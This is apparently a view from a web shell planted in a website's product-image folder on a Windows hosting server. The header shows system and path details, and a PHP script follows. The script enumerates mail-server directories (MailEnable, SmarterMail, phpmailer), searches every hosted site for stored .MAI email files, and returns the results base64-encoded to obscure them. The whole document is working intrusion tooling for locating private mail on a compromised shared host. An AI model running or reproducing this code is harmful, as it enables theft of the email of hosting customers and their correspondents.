System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$paths = [
    'D:\Inetpub\mailnames',
    'C:\MailEnable',
    'C:\SmarterMail',
    'D:\SmarterMail',
    'D:\Inetpub\vhosts\appclients.in\nmvm.org\phpmailer'
];

$output = "";
foreach ($paths as $path) {
    if (is_dir($path)) {
        $output .= "=== Found Dir: $path ===\n";
        $output .= implode("\n", array_slice(scandir($path), 0, 50)) . "\n\n";
    }
}

// Search for any .MAI files (MailEnable message format) in common vhost areas
$output .= "--- Searching for .MAI files ---\n";
$it = new RecursiveDirectoryIterator('D:\Inetpub\vhosts\appclients.in');
foreach (new RecursiveIteratorIterator($it) as $file) {
    if (preg_match('/\.mai$/i', $file->getFilename())) {
        $output .= "[MAIL] " . $file->getPathname() . "\n";
    }
}

echo base64_encode($output);
?>